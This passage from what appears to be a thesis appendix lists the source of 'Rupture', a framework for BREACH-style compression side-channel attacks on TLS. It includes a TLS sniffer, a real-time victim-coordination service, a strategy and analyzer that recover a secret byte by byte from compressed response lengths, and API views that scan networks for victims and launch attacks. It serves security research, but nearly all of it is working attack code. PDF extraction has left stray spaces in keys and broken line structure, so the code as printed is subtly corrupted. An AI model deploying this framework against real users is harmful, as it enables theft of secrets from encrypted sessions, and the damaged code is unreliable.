self.port_streams[pkt.dport].append(pkt)

def is_alive(self):
# Return if thread is dead or alive
return self.status

def get_capture(self):
# Get the data that were captured so far
capture = self.parse_capture()

return capture

def stop(self):
# Kill it with fire!
self.status = False

# Send 3 stop packets, in case one is not captured
for i in range(3):

self.stop_packet()

def stop_packet(self):
'''
Send a dummy TCP packet to the victim with source IP the

destination host's,
which will be caught by sniff filter and cause sniff function to

stop.
'''
dummy_packet = IP(dst=self.destination_ip , src=self.source_ip)/

TCP(dport=self.destination_port)
send(dummy_packet , verbose=0)

def follow_stream(self, stream):
stream_data = b''
for pkt in stream:

if Raw in pkt:
stream_data += str(pkt[Raw])
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return stream_data

def parse_capture(self):
'''
Parse the captured packets and return a string of the appropriate

data.
'''
logger.debug('Parsing captured TLS streams ')
application_data = b''
application_records = 0

# Iterate over the captured packets
# and aggregate the application level payload
for port, stream in self.port_streams.items():

stream_data = self.follow_stream(stream)

data_record_list = self.get_application_data(stream_data)

application_data += ''.join(data_record_list)
application_records += len(data_record_list)

logger.debug('Captured {} application data'.format(len(
application_data)))

logger.debug('Captured {} application records '.format(
application_records))

return {
'data': application_data ,
'records ': application_records

}

def get_application_data(self, payload_data):
'''
Parse aggregated packet data and keep only TLS application data.

Argument:
payload_data - binary string of TLS layer packet payload

Returns a string of aggregated binary TLS application data,
including record headers.
'''
application_data = []

while payload_data:
content_type = ord(payload_data[TLS_CONTENT_TYPE])
length = 256 * ord(payload_data[TLS_LENGTH_MAJOR]) + ord(

payload_data[TLS_LENGTH_MINOR])

# payload_data should begin with a valid TLS header
if content_type not in TLS_CONTENT:

logger.warning('Invalid payload data.')

# Flush invalid captured packets
raise ValueError('Captured packets were not properly

constructed ')

# Keep only TLS application data payload
if content_type == TLS_APPLICATION_DATA:
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application_data.append(binascii.hexlify(payload_data[
TLS_HEADER_LENGTH:TLS_HEADER_LENGTH + length]))

# Parse all TLS records in the aggregated payload data
payload_data = payload_data[TLS_HEADER_LENGTH + length:]

return application_data

Listing 6.3: sniffer.py

6.4 Real-time

const program = require('commander ');

program
.version('0.0.1')
.option('-p, --port <port>', 'specify the websocket port to listen to
[3031]', 3031)
.option('-H, --backend-host <hostname >', 'specify the hostname of the
HTTP backend service to connect to [localhost]', 'localhost ')
.option('-P, --backend-port <port>', 'specify the port of the HTTP
backend service to connect to [8000]', 8000)
.parse(process.argv);

const io = require('socket.io'),
winston = require('winston '),
http = require('http');

winston.level = 'debug';
winston.remove(winston.transports.Console);
winston.add(winston.transports.Console, {'timestamp ': true});

const PORT = program.port;

winston.info('Rupture real-time service starting ');
winston.info('Listening on port ' + PORT);

const socket = io.listen(PORT);
const victims = {};

const BACKEND_HOST = program.backendHost;
BACKEND_PORT = program.backendPort;

winston.info('Backed by backend service running at ' + BACKEND_HOST + ':'
+ BACKEND_PORT);

socket.on('connection ', (client) => {
winston.info('New connection from client ' + client.id);

let victimId;
client.on('client-hello', (data) => {

let victim_id;

try {
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({victim_id} = data);
}
catch (e) {

winston.error('Got invalid client-hello message from client ')
;

return;
}

if (!victims[victim_id]) {
victimId = victim_id;
victims[victimId] = client.id;
client.emit('server-hello');
winston.debug('Send server-hello message ');

}
else {

client.emit('server-nowork ');
winston.debug('There is an other victimId <-> client.id match

. Make client idle');
}

});

const doNoWork = () => {
client.emit('do-work', {});

};

const createNewWork = () => {
const getWorkOptions = {

host: BACKEND_HOST ,
port: BACKEND_PORT ,
path: '/breach/get_work/' + victimId

};

winston.debug('Forwarding get_work request to backend URL ' +
getWorkOptions.path);

const getWorkRequest = http.request(getWorkOptions , (response) =>
{

let responseData = '';
response.on('data', (chunk) => {

responseData += chunk;
});
response.on('end', () => {

try {
client.emit('do-work', JSON.parse(responseData));
winston.info('Got (get-work) response from backend: '

+ responseData);
}
catch (e) {

winston.error('Got invalid (get-work) response from
backend ');

doNoWork();
}

});
});
getWorkRequest.on('error', (err) => {

winston.error('Caught getWorkRequest error: ' + err);
doNoWork();

});
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getWorkRequest.end();
};

const reportWorkCompleted = (work) => {
const requestBodyString = JSON.stringify(work);

const workCompletedOptions = {
host: BACKEND_HOST ,
port: BACKEND_PORT ,
headers: {

'Content-Type': 'application/json',
'Content-Length ': requestBodyString.length

},
path: '/breach/work_completed/' + victimId,
method: 'POST',

};

const workCompletedRequest = http.request(workCompletedOptions , (
response) => {

let responseData = '';
response.on('data', (chunk) => {

responseData += chunk;
});
response.on('end', () => {

try {
const victory = JSON.parse(responseData).victory;

winston.info('Got (work-completed) response from
backend: ' + responseData);

if (victory === false) {
createNewWork();

}
}
catch (e) {

winston.error('Got invalid (work-completed) response
from backend ');

doNoWork();
}

});
});
workCompletedRequest.on('error', (err) => {

winston.error('Caught workCompletedRequest error: ' + err);
doNoWork();

});
workCompletedRequest.write(requestBodyString);
workCompletedRequest.end();

};

client.on('get-work', () => {
winston.info('get-work from client ' + client.id);
createNewWork();

});

client.on('work-completed ', (data) => {
let work, success, host;

try {
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({work, success, host} = data);
}
catch (e) {

winston.error('Got invalid work-completed from client ');
return;

}

winston.info('Client indicates work completed: ', work, success,
host);

const requestBody = work;
requestBody.success = success;
reportWorkCompleted(requestBody);

});
client.on('disconnect ', () => {

winston.info('Client ' + client.id + ' disconnected ');

for (let i in victims) {
if (victims[i] == client.id) {

victims[i] = null;
}

}

const requestBody = {
success: false

};
reportWorkCompleted(requestBody);

});
});

Listing 6.4: index.js

6.5 Backend - Strategy

from django.utils import timezone
from django.db.models import Max
from django.core.exceptions import ValidationError

from breach.analyzer import decide_next_world_state
from breach.models import Target, Round, SampleSet
from breach.sniffer import Sniffer

import string
import requests
import logging
import random

logger = logging.getLogger(__name__)

CALIBRATION_STEP = 0.1
CALIBRATION_SAMPLESET_WINDOW_CHECK = 3

class MaxReflectionLengthError(Exception):
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'''Custom exception to handle cases when maxreflectionlength
is not sufficient for the attack to continue.'''
pass

class Strategy(object):
def __init__(self, victim):

self._victim = victim

sniffer_params = {
'snifferendpoint ': self._victim.snifferendpoint ,
'sourceip ': self._victim.sourceip,
'host': self._victim.target.host,
'interface ': self._victim.interface ,
'port': self._victim.target.port,
'calibration_wait ': self._victim.calibration_wait

}
self._sniffer = Sniffer(sniffer_params)

# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).

aggregate(Max('index'))['index__max ']

if not current_round_index:
current_round_index = 1
self._analyzed = True
try:

self._begin_attack()
except MaxReflectionLengthError:

# If the initial round or samplesets cannot be created,
end the analysis

return

self._round = Round.objects.filter(
victim=self._victim,
index=current_round_index

)[0]
self._analyzed = False

def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet ']) / 2

bottom_half = state['knownalphabet '][:
candidate_alphabet_cardinality]

top_half = state['knownalphabet '][candidate_alphabet_cardinality
:]

return [bottom_half , top_half]

def _build_candidates_serial(self, state):
return state['knownalphabet ']

def _build_candidates(self, state):
'''Given a state of the world, produce a list of candidate

alphabets.'''
methods = {

Target.SERIAL: self._build_candidates_serial ,
Target.DIVIDE_CONQUER: self._build_candidates_divide_conquer
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}
return methods[self._round.get_method()](state)

def _get_first_round_state(self):
return {

'knownsecret ': self._victim.target.prefix,
'candidatealphabet ': self._victim.target.alphabet,
'knownalphabet ': self._victim.target.alphabet

}

def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(

round=self._round,
started=None

)

def _reflection(self, alphabet):
# We use sentinel as a separator symbol and we assume it is not

part of the
# secret. We also assume it will not be in the content.

# Added symbols are the total amount of dummy symbols that need
to be added,

# either in candidate alphabet or huffman complement set in order
# to avoid huffman tree imbalance between samplesets of the same

batch.

added_symbols = self._round.maxroundcardinality - self._round.
minroundcardinality

sentinel = self._victim.target.sentinel

assert(sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(set(string.ascii_letters + string

.digits) - set(self._round.knownalphabet))

candidate_secrets = set()
for letter in alphabet:

candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)

# Candidate balance indicates the amount of dummy symbols that
will be included with the

# candidate alphabet 's part of the reflection.
candidate_balance = self._round.maxroundcardinality - len(

candidate_secrets)
assert(len(knownalphabet_complement) > candidate_balance)
candidate_balance = [self._round.knownsecret + c for c in

knownalphabet_complement[0:candidate_balance]]

reflected_data = [
'',
sentinel.join(list(candidate_secrets) + candidate_balance),
''

]

if self._round.check_huffman_pool():
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# Huffman complement indicates the knownalphabet symbols that
are not currently being tested

huffman_complement = set(self._round.knownalphabet) - set(
alphabet)

huffman_balance = added_symbols - len(candidate_balance)

assert(len(knownalphabet_complement) > len(candidate_balance)
+ huffman_balance)

huffman_balance = knownalphabet_complement[len(
candidate_balance):huffman_balance]

reflected_data.insert(1, sentinel.join(list(
huffman_complement) + huffman_balance))

reflection = sentinel.join(reflected_data)

return reflection

def _url(self, alphabet):
return self._victim.target.endpoint % self._reflection(alphabet)

def _sampleset_to_work(self, sampleset):
return {

'url': self._url(sampleset.candidatealphabet),
'amount ': self._victim.target.samplesize ,
'alignmentalphabet ': sampleset.alignmentalphabet ,
'timeout ': 0

}

def get_work(self):
'''Produces work for the victim.

Pre-condition: There is already work to do.'''

# If analysis is complete or maxreflectionlength cannot be
overcome

# then execution should abort
if self._analyzed:

logger.debug('Aborting get_work because analysis is completed
')

return {}

# Reaps a hanging sampleset that may exist from previous
framework execution

# Hanging sampleset condition: backend or realtime crash
hanging_samplesets = self._get_started_samplesets()
for s in hanging_samplesets:

logger.warning('Reaping hanging set for: {}'.format(s.
candidatealphabet))

self._mark_current_work_completed(sampleset=s)

try:
self._sniffer.start()

except (requests.HTTPError , requests.exceptions.ConnectionError),
err:

if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
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logger.warning('Caught {} while trying to start sniffer
.'.format(status_code))

# If status was raised due to conflict ,
# delete already existing sniffer.
if status_code == 409:

try:
self._sniffer.delete()

except (requests.HTTPError , requests.exceptions.
ConnectionError), err:

logger.warning('Caught error when trying to
delete sniffer: {}'.format(err))

elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError ')

# An error occurred , so if there is a started sampleset mark
it as failed

if SampleSet.objects.filter(round=self._round, completed=None
).exclude(started=None):

self._mark_current_work_completed()

return {}

unstarted_samplesets = self._get_unstarted_samplesets()

logger.debug('Found %i unstarted samplesets ', len(
unstarted_samplesets))

assert(unstarted_samplesets)

sampleset = unstarted_samplesets[0]
sampleset.started = timezone.now()
sampleset.save()

work = self._sampleset_to_work(sampleset)

logger.debug('Giving work:')
logger.debug('\tCandidate: {}'.format(sampleset.candidatealphabet

))

return work

def _get_started_samplesets(self):
return SampleSet.objects.filter(

round=self._round,
completed=None

).exclude(started=None)

def _get_current_sampleset(self):
started_samplesets = self._get_started_samplesets()

assert(len(started_samplesets) == 1)

sampleset = started_samplesets[0]

return sampleset
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def _handle_sampleset_success(self, capture, sampleset):
'''Save capture of successful sampleset
or mark sampleset as failed and create new sampleset for the same

element that failed.'''
if capture:

sampleset.success = True
sampleset.data = capture['data']
sampleset.records = capture['records ']
sampleset.save()

else:
SampleSet.create_sampleset({

'round ': self._round,
'candidatealphabet ': sampleset.candidatealphabet ,
'alignmentalphabet ': sampleset.alignmentalphabet ,
'batch ': sampleset.batch

})

def _mark_current_work_completed(self, capture=None, sampleset=None):
if not sampleset:

sampleset = self._get_current_sampleset()

logger.debug('Marking sampleset as completed:')
logger.debug('\tcandidatealphabet: %s', sampleset.

candidatealphabet)
logger.debug('\troundknownalphabet: %s', sampleset.round.

knownalphabet)

sampleset.completed = timezone.now()
sampleset.save()

self._handle_sampleset_success(capture, sampleset)

def _collect_capture(self):
return self._sniffer.read()

def _analyze_current_round(self):
'''Analyzes the current round samplesets to extract a decision

.'''

current_round_samplesets = SampleSet.objects.filter(round=self.
_round, success=True)

self._decision = decide_next_world_state(current_round_samplesets
)

logger.debug(75 * '#')
logger.debug('Decision:')
for i in self._decision:

logger.debug('\t{}: {}'.format(i, self._decision[i]))
logger.debug(75 * '#')

self._analyzed = True

def _round_is_completed(self):
'''Checks if current round is completed.'''

assert(self._analyzed)

# Do we need to collect more samplesets to build up confidence?
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return self._decision['confidence '] > self._victim.target.
confidence_threshold

def _create_next_round(self):
assert(self._round_is_completed())

self._create_round(self._decision['state '])

def _set_round_cardinalities(self, candidate_alphabets):
self._round.maxroundcardinality = max(map(len,

candidate_alphabets))
self._round.minroundcardinality = min(map(len,

candidate_alphabets))

def _adapt_reflection_length(self, state):
'''Check reflection length compared to maxreflectionlength.

If current reflection length is bigger, downgrade various attack
aspects

until reflection length <= maxreflectionlength.

If all downgrade attempts fail, raise a MaxReflectionLengthError.

Condition: Reflection returns strings of same length for all
candidates in

candidate alphabet.'''
def _build_candidate_alphabets():

candidate_alphabets = self._build_candidates(state)
self._set_round_cardinalities(candidate_alphabets)
return candidate_alphabets

def _get_first_reflection():
alphabet = _build_candidate_alphabets()[0]
return self._reflection(alphabet)

logger.debug('Checking max reflection length...')

if self._round.victim.target.maxreflectionlength == 0:
self._set_round_cardinalities(self._build_candidates(state))
return

while len(_get_first_reflection()) > self._round.victim.target.
maxreflectionlength:

if self._round.get_method() == Target.DIVIDE_CONQUER:
self._round.method = Target.SERIAL
logger.info('Divide & conquer method cannot be used,

falling back to serial.')
elif self._round.check_huffman_pool():

self._round.huffman_pool = False
logger.info('Huffman pool cannot be used, removing it.')

elif self._round.check_block_align():
self._round.block_align = False
logger.info('Block alignment cannot be used, removing it

.')
else:

raise MaxReflectionLengthError('Cannot attack, specified
maxreflectionlength is too short ')
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def _create_round(self, state):
'''Creates a new round based on the analysis of the current round

.'''

assert(self._analyzed)

# This next round could potentially be the final round.
# A final round has the complete secret stored in knownsecret.
next_round = Round(

victim=self._victim,
index=self._round.index + 1 if hasattr(self, '_round ') else

1,
amount=self._victim.target.samplesize ,
knownalphabet=state['knownalphabet '],
knownsecret=state['knownsecret ']

)
next_round.save()
self._round = next_round

try:
self._adapt_reflection_length(state)

except MaxReflectionLengthError , err:
self._round.delete()
self._analyzed = True
logger.info(err)
raise err

try:
next_round.clean()

except ValidationError , err:
logger.error(err)
self._round.delete()
raise err

logger.debug('Created new round:')
logger.debug('\tKnown secret: {}'.format(next_round.knownsecret))
logger.debug('\tKnown alphabet: {}'.format(next_round.

knownalphabet))
logger.debug('\tAmount: {}'.format(next_round.amount))

def _create_round_samplesets(self):
state = {

'knownalphabet ': self._round.knownalphabet ,
'knownsecret ': self._round.knownsecret

}

self._round.batch += 1
self._round.save()

candidate_alphabets = self._build_candidates(state)

alignmentalphabet = ''
if self._round.check_block_align():

alignmentalphabet = list(self._round.victim.target.
alignmentalphabet)

random.shuffle(alignmentalphabet)
alignmentalphabet = ''.join(alignmentalphabet)
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logger.debug('\tAlignment alphabet: {}'.format(alignmentalphabet)
)

for candidate in candidate_alphabets:
SampleSet.create_sampleset({

'round ': self._round,
'candidatealphabet ': candidate ,
'alignmentalphabet ': alignmentalphabet ,
'batch ': self._round.batch

})

def _attack_is_completed(self):
return len(self._round.knownsecret) == self._victim.target.

secretlength

def _need_for_calibration(self):
started_samplesets = SampleSet.objects.filter(round=self._round).

exclude(started=None)
minimum_samplesets = len(started_samplesets) >=

CALIBRATION_SAMPLESET_WINDOW_CHECK
calibration_samplesets = SampleSet.objects.filter(round=self.

_round).order_by('-completed ')[0:CALIBRATION_SAMPLESET_WINDOW_CHECK]
consecutive_failed_samplesets = all([not sampleset.success for

sampleset in calibration_samplesets])
return minimum_samplesets and consecutive_failed_samplesets

def _need_for_cardinality_update(self):
calibration_samplesets = SampleSet.objects.filter(round=self.

_round).order_by('-completed ')[0:CALIBRATION_SAMPLESET_WINDOW_CHECK]
consecutive_new_cardinality_samplesets = all(

[sampleset.records % sampleset.round.victim.target.samplesize
== 0 for sampleset in calibration_samplesets]

)
return self._need_for_calibration() and

consecutive_new_cardinality_samplesets

def _flush_batch_samplesets(self):
'''Mark all successful samplesets of current round's batch as

failed
and create replacements.'''
current_batch_samplesets = SampleSet.objects.filter(round=self.

_round, batch=self._round.batch, success=True).exclude(started=None)
for sampleset in current_batch_samplesets:

self._mark_current_work_completed(sampleset=sampleset)

def work_completed(self, success=True):
'''Receives and consumes work completed from the victim, analyzes
the work, and returns True if the attack is complete (victory),
otherwise returns False if more work is needed.

It also creates the new work that is needed.

Post-condition: Either the attack is completed , or there is work
to

do (there are unstarted samplesets in the database).'''
try:

if success:
# Call sniffer to get captured data
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capture = self._collect_capture()
logger.debug('Work completed:')
logger.debug('\tLength: {}'.format(len(capture['data'])))
logger.debug('\tRecords: {}'.format(capture['records ']))

# Check if all TLS response records were captured ,
# if available
if self._victim.recordscardinality:

expected_records = self._victim.target.samplesize *
self._victim.recordscardinality

if capture['records '] != expected_records:
if capture['records '] % self._victim.target.

samplesize:
logger.debug('Records not multiple of

samplesize. Checking need for calibration...')
if self._need_for_calibration():

self._victim.calibration_wait +=
CALIBRATION_STEP

self._victim.save()
logger.debug('Calibrating system. New

calibration_wait time: {} seconds '.format(self._victim.
calibration_wait))

else:
logger.debug('Records multiple of samplesize

but with different cardinality.')
if self._need_for_cardinality_update():

self._victim.recordscardinality = int(
capture['records '] / self._victim.target.samplesize)

self._victim.save()
self._flush_batch_samplesets()
logger.debug("Updating records'

cardinality. New cardinality: {}".format(self._victim.
recordscardinality))

raise ValueError('Not all records captured ')
else:

logger.debug('Client returned fail to realtime ')
raise ValueError('Realtime reported unsuccessful capture

')

# Stop data collection and delete sniffer
self._sniffer.delete()

except (requests.HTTPError , requests.exceptions.ConnectionError ,
ValueError), err:

if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning('Caught {} while trying to collect capture

and delete sniffer.'.format(status_code))

# If status was raised due to malformed capture,
# delete sniffer to avoid conflict.
if status_code == 422:

try:
self._sniffer.delete()

except (requests.HTTPError , requests.exceptions.
ConnectionError), err:

logger.warning('Caught error when trying to
delete sniffer: {}'.format(err))
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elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError ')

elif isinstance(err, ValueError):
logger.warning(err)
try:

self._sniffer.delete()
except (requests.HTTPError , requests.exceptions.

ConnectionError), err:
logger.warning('Caught error when trying to delete

sniffer: {}'.format(err))

# An error occurred , so if there is a started sampleset mark
it as failed

if SampleSet.objects.filter(round=self._round, completed=None
).exclude(started=None):

self._mark_current_work_completed()

return False

self._mark_current_work_completed(capture)

round_samplesets = SampleSet.objects.filter(round=self._round)
unstarted_samplesets = round_samplesets.filter(started=None)

if unstarted_samplesets:
# Batch is not yet complete , we need to collect more

samplesets
# that have already been created for this batch.
return False

# All batches are completed.
self._analyze_current_round()

if self._round_is_completed():
# Advance to the next round.
try:

self._create_next_round()
except MaxReflectionLengthError:

# If a new round cannot be created, end the attack
return True

if self._attack_is_completed():
return True

# Not enough confidence , we need to create more samplesets to be
# collected for this round.
self._create_round_samplesets()

return False

def _begin_attack(self):
self._create_round(self._get_first_round_state())
self._create_round_samplesets()

Listing 6.5: strategy.py

68



6.6 Backend - Analyzer

import operator
import collections
import logging

logger = logging.getLogger(__name__)

class AnalyzerError(Exception):
pass

def decide_optimal_candidate(candidate_lengths , samples_per_sampleset):
'''Take a dictionary of candidate alphabets and their associated
accumulative lengths and decide which candidate alphabet is the best
(minimum) with what confidence.

Returns a pair with the decision. The first element of the pair is
which
candidate alphabet is best; the second element is the confidence
level for
the decision.
'''

assert(len(candidate_lengths) > 1)

samplesets_per_candidate = len(candidate_lengths.items()[0][1])
accumulated_candidate_lengths = []

for candidate_alphabet , list_of_lengths in candidate_lengths.
iteritems():

accumulated_candidate_lengths.append({
'candidate_alphabet ': candidate_alphabet ,
'length ': sum(list_of_lengths)

})

# Sort sampleset groups by length.
sorted_candidate_lengths = sorted(

accumulated_candidate_lengths ,
key=operator.itemgetter('length ')

)

logger.debug('\n' + 75 * '#')
logger.debug('Candidate scoreboard:')
for cand in sorted_candidate_lengths:

logger.debug('\t{}: {}'.format(cand['candidate_alphabet '], cand['
length ']))

# Extract candidate with minimum length and the next best competitor
# candidate. In case of binary search, these will be the only two
# candidates.
min_candidate = sorted_candidate_lengths[0]
next_best_candidate = sorted_candidate_lengths[1]

samples_per_candidate = samplesets_per_candidate *
samples_per_sampleset
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# Extract a confidence value, in bytes, for our decision based on the
second-best candidate.
confidence = float(next_best_candidate['length '] - min_candidate['
length ']) / samples_per_candidate

# Captured bytes are represented as hex string,
# so we need to convert confidence metric to bytes
confidence /= 2.0

return min_candidate['candidate_alphabet '], confidence

def decide_next_world_state(samplesets):
'''Take a list of samplesets and extract a decision for a state
transition
with some confidence.

Argument:
samplesets -- a list of samplesets.

This list must must contain at least two elements so that we have
some basis
for comparison. Each of the list's elements must share the same world
state
(knownsecret and knownalphabet) so that we are comparing on the same
basis.
The samplesets must contain at least two different candidate
alphabets so
that a decision can be made. It can contain multiple samplesets
collected
over the same candidate alphabet.

Returns a pair with the decision. The first element of the pair is
the new
state of the world; the second element of the pair is the confidence
with
which the analyzer is suggesting the state transition.
'''
# Ensure we have enough sample sets to compare.
assert(len(samplesets) > 1)

# Ensure all samplesets are extending the same known state
knownsecret = samplesets[0].round.knownsecret
round = samplesets[0].round
amount = round.amount
victim = round.victim
target = victim.target
for sampleset in samplesets:

assert(sampleset.round == round)

# Split samplesets based on alphabetvector under consideration
# and collect data lengths for each candidate.
candidate_lengths = collections.defaultdict(lambda: [])
candidate_count_samplesets = collections.defaultdict(lambda: 0)
for sampleset in samplesets:

candidate_lengths[sampleset.candidatealphabet].append(len(
sampleset.data))

candidate_count_samplesets[sampleset.candidatealphabet] += 1

70



candidate_count_samplesets = candidate_count_samplesets.items()

samplesets_per_candidate = candidate_count_samplesets[0][1]

for alphabet , count in candidate_count_samplesets:
assert(count == samplesets_per_candidate)

# Ensure we have a decision to make
assert(len(candidate_lengths) > 1)

min_vector , confidence = decide_optimal_candidate(candidate_lengths ,
samples_per_sampleset=amount)

# use minimum group's alphabet vector
decision_knownalphabet = min_vector
# known secret remains the same as in all current samplesets
decision_knownsecret = knownsecret

if len(decision_knownalphabet) == 1:
# decision vector was one character , so we can extend the known

secret
decision_knownsecret += decision_knownalphabet
decision_knownalphabet = target.alphabet

state = {
'knownsecret ': decision_knownsecret ,
'knownalphabet ': decision_knownalphabet

}

return {
'state ': state,
'confidence ': confidence

}

Listing 6.6: analyzer.py

6.7 API views

from django.http import Http404, JsonResponse , HttpResponse
from django.views.generic import View
from django.views.decorators.csrf import csrf_exempt
from breach.strategy import Strategy
from breach.models import Target, Victim, Round
from django.core import serializers
from .forms import TargetForm , VictimForm , AttackForm
import json
from django.utils import timezone
from breach.helpers import network
from django.utils.decorators import method_decorator

def get_work(request, victim_id=0):
assert(victim_id)
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try:
victim = Victim.objects.get(pk=victim_id)

except:
raise Http404('Victim not found')

if victim.state == 'paused ':
raise Http404('The attack for victim %i is paused' % victim.id)

strategy = Strategy(victim)
new_work = strategy.get_work()

return JsonResponse(new_work)

@csrf_exempt
def work_completed(request, victim_id=0):

assert(victim_id)

realtime_parameters = json.loads(request.body.decode('utf-8'))
assert('success' in realtime_parameters)

success = realtime_parameters['success ']

try:
victim = Victim.objects.get(pk=victim_id)

except:
raise Http404('Victim not found')

strategy = Strategy(victim)
victory = strategy.work_completed(success)

return JsonResponse({
'victory ': victory

})

class TargetView(View):

@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):

return super(TargetView , self).dispatch(request, *args, **kwargs)

def post(self, request):
form = TargetForm(json.loads(request.body.decode('utf-8')))
if form.is_valid():

target = form.save()
return JsonResponse({

'target_name ': target.name
})

def get(self, request):
return JsonResponse({

'targets ': list(Target.objects.all().values())
})

class VictimListView(View):
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@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):

return super(VictimListView , self).dispatch(request, *args, **
kwargs)

def post(self, request):
input_data = json.loads(request.body.decode('utf-8'))
form = VictimForm(input_data)
if form.is_valid():

victim = Victim.objects.create(
sourceip=input_data['sourceip '],

)
return JsonResponse({

'victim_id ': victim.id
})

def get(self, request):
victims = Victim.objects.filter(trashed_at=None)
ret_victims = []
for i, victim in enumerate(victims):

if victim.state == 'discovered ':
if victim.running_time < 90:

ret_victims.append({'victim_id ': victim.id, 'state':
victim.state, 'sourceip ': victim.sourceip})

else:
ret_victims.append({'victim_id ': victim.id, 'state':

victim.state, 'target_name ': victim.target.name,
'percentage ': victim.percentage , '

running_time ': victim.running_time ,
'sourceip ': victim.sourceip})

return JsonResponse({
'victims ': ret_victims ,

})

class AttackView(View):

@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):

return super(AttackView , self).dispatch(request, *args, **kwargs)

def post(self, request):
input_data = json.loads(request.body.decode('utf-8'))
if 'id' in input_data:

form = AttackForm(input_data)
if form.is_valid():

target = Target.objects.get(name=input_data['target '])
victim_id = input_data['id']
victim = Victim.objects.get(pk=victim_id)
victim.state = 'running'
victim.attacked_at = timezone.now()
victim.target = target
victim.recordscardinality = target.recordscardinality
victim.interface = network.get_interface()
victim.realtimeurl = 'http://' + network.get_local_IP() +

':3031'
victim.save()
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else:
form = VictimForm(input_data)
if form.is_valid():

target = Target.objects.get(name=input_data['target '])
victim = Victim.objects.create(

sourceip=input_data['sourceip '],
target=target,
recordscardinality=target.recordscardinality ,
state='running',
attacked_at=timezone.now(),
interface=network.get_interface(),
realtimeurl='http://' + network.get_local_IP() +

':3031'
)

Victim.attack(victim)

return JsonResponse({
'victim_id ': victim.id

})

class VictimDetailView(View):
def get(self, request, victim_id):

# get victim with the given ID
victim = Victim.objects.get(pk=victim_id)

rounds = Round.objects.filter(victim__id=victim_id)
attack_details_list = []
for round_details in rounds:

print round_details.id
attack_details_list.extend(round_details.fetch_per_batch_info

())

try:
known_secret = rounds.order_by('-id').reverse()[0].

knownsecret
except:

known_secret = victim.target.prefix

return JsonResponse({
'id': victim.id,
'victim_ip ': victim.sourceip,
'state ': victim.state,
'known_secret ': known_secret ,
'target_name ': victim.target.name,
'attack_details ': attack_details_list ,
'percentage ': victim.percentage

})

@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):

return super(VictimDetailView , self).dispatch(request, *args, **
kwargs)

def put(self, request, victim_id):
victim = Victim.objects.get(pk=victim_id)
if victim.state == 'running ':
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victim.state = 'paused'
elif victim.state == 'paused ':

victim.state = 'running'
victim.save()
return HttpResponse(status=200)

def delete(self, request, victim_id):
victim = Victim.objects.get(pk=victim_id)
if not victim.trashed_at:

Victim.delete(victim)
else:

Victim.restore(victim)
return HttpResponse(status=200)

class DiscoveredVictimsView(View):
def get(self, request):

new_victims = []
for victimip in network.scan_network():

victim_exists = Victim.objects.filter(state='discovered ',
sourceip=victimip)

if not victim_exists:
victim = Victim.objects.create(sourceip=victimip)
new_victims.append({'sourceip ': victim.sourceip , '

victim_id ': victim.id})
else:

victim_exists[0].attacked_at = timezone.now()
victim_exists[0].save()
new_victims.append({'sourceip ': victim_exists[0].sourceip

, 'victim_id ': victim_exists[0].id})
return JsonResponse({

'new_victims ': new_victims
})

Listing 6.7: views.py
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